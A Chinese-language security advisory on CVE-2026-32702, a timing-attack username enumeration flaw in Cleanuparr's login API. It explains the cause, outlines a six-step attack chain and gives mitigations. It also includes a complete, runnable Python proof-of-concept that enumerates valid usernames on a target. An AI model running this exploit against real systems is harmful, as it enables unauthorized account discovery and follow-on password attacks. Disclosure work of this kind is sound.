IPBUF安全漏洞报告
English
CVE-2026-32702 CVSS 5.3 中危

CVE-2026-32702 Cleanuparr登录接口用户名枚举时序攻击漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32702
漏洞类型
时序攻击/用户名枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cleanuparr

相关标签

CVE-2026-32702时序攻击用户名枚举Cleanuparr认证绕过SonarrRadarrqBittorrent逻辑缺陷密码哈希

漏洞概述

Cleanuparr是一款用于自动化清理Sonarr、Radarr及qBittorrent等下载客户端中不需要或被阻止文件的工具。该漏洞存在于2.7.0至2.8.0版本的/api/auth/login接口中,由于认证逻辑存在缺陷,未经身份验证的远程攻击者可以通过测量应用程序的响应时间来枚举系统中有效的用户名。漏洞的根本原因在于密码验证函数(VerifyPassword)中的哈希计算是整个处理过程中最耗时的部分,但由于代码中存在短路逻辑(short circuits),使得有效用户名和无效用户在响应时间上产生可测量的差异。攻击者利用这种时序差异可以逐步探测并确认系统中存在的有效用户账户,为后续的暴力破解或针对性攻击奠定基础。该漏洞已于2.8.1版本中修复。

技术细节

Cleanuparr的登录接口/api/auth/login存在逻辑缺陷,攻击者可通过时序分析(Timing Attack)进行用户名枚举。漏洞原理如下:当用户尝试登录时,系统会先进行用户名验证,然后调用VerifyPassword函数进行密码哈希校验。VerifyPassword函数中的bcrypt/scrypt等密码哈希算法由于计算复杂性,是整个认证过程中最耗时的部分。然而,代码在调用哈希函数前存在短路逻辑——如果用户名不存在,系统会提前返回错误,跳过密码哈希计算;而如果用户名存在,则会执行完整的密码验证流程。这种处理方式导致有效用户名和无效用户名在响应时间上产生可测量的差异。攻击者通过构造大量登录请求,精确测量每次请求的响应时间,利用统计学方法(如t-test或平均值比较)识别响应时间较长的请求,从而推断出系统中存在的有效用户名。成功利用此漏洞后,攻击者可以获取目标系统的用户列表,为后续的密码喷射(password spraying)或凭证填充(credential stuffing)攻击提供目标。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统运行的是Cleanuparr应用,并确定登录接口/api/auth/login的URL
STEP 2
步骤2: 构建用户名候选列表
攻击者准备常见的用户名列表(如admin、root、sonarr、radarr等)用于测试
STEP 3
步骤3: 时序数据采集
攻击者对每个候选用户名发送多次登录请求,使用错误密码,通过time.perf_counter()等高精度计时器精确测量每次请求的响应时间
STEP 4
步骤4: 统计分析
攻击者计算每个用户名的平均响应时间和标准差,与基准时间(无效用户名)进行对比,有效用户名因需要执行密码哈希计算通常响应时间更长
STEP 5
步骤5: 用户名确认
根据响应时间差异(通常有效用户比无效用户响应时间长50%以上),攻击者识别并确认系统中存在的有效用户名
STEP 6
步骤6: 后续攻击
获取有效用户名后,攻击者可进行密码喷射攻击或凭证填充攻击,利用获取的用户名尝试常见密码组合

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-32702 - Cleanuparr Username Enumeration via Timing Attack PoC for enumerating valid usernames through response time analysis """ import requests import time import statistics from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target:8787/api/auth/login" USERNAMES_FILE = "usernames.txt" # Common usernames list SAMPLES_PER_USER = 10 # Number of samples to collect per username THREADS = 5 def test_login_timing(username, password="dummy_password"): """Send login request and measure response time""" start = time.perf_counter() try: response = requests.post( TARGET_URL, json={"username": username, "password": password}, timeout=30 ) elapsed = time.perf_counter() - start return elapsed, response.status_code except requests.exceptions.RequestException: return None, None def analyze_timing(username, samples=SAMPLES_PER_USER): """Collect timing samples and analyze for timing differences""" times = [] for _ in range(samples): elapsed, _ = test_login_timing(username) if elapsed: times.append(elapsed) time.sleep(0.1) # Small delay between requests if len(times) >= 3: avg_time = statistics.mean(times) std_dev = statistics.stdev(times) if len(times) > 1 else 0 return avg_time, std_dev, times return None, None, [] def enumerate_usernames(): """Enumerate valid usernames using timing attack""" print(f"[*] Starting username enumeration on {TARGET_URL}") print(f"[*] Collecting {SAMPLES_PER_USER} samples per username\n") try: with open(USERNAMES_FILE, 'r') as f: usernames = [line.strip() for line in f if line.strip()] except FileNotFoundError: # Default common usernames usernames = ["admin", "root", "user", "test", "guest", "administrator", "sonarr", "radarr", "qbittorrent"] valid_users = [] baseline_avg = None # First, establish baseline with known invalid username print("[*] Establishing baseline timing...") baseline, _, _ = analyze_timing("__invalid_user_12345__") if baseline: baseline_avg = baseline print(f"[+] Baseline average time: {baseline_avg:.4f}s") print("\n[*] Starting username enumeration...\n") for username in usernames: avg_time, std_dev, times = analyze_timing(username) if avg_time: diff = avg_time - baseline_avg if baseline_avg else 0 ratio = avg_time / baseline_avg if baseline_avg else 1 # Valid users typically have longer response times # due to password hash computation if ratio > 1.5 and diff > 0.05: print(f"[+] VALID: {username:20s} | Avg: {avg_time:.4f}s | " f"Diff: +{diff:.4f}s | Ratio: {ratio:.2f}x") valid_users.append(username) else: print(f"[-] Invalid: {username:20s} | Avg: {avg_time:.4f}s") print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid users:") for user in valid_users: print(f" - {user}") return valid_users if __name__ == "__main__": enumerate_usernames()

影响范围

Cleanuparr >= 2.7.0 且 < 2.8.1

防御指南

临时缓解措施
立即将Cleanuparr升级到2.8.1版本。在升级前,可通过配置Web应用防火墙(WAF)限制对/api/auth/login接口的访问频率,设置IP黑名单,并监控异常的登录请求模式。建议同时启用审计日志记录所有登录尝试,以便及时发现用户名枚举攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表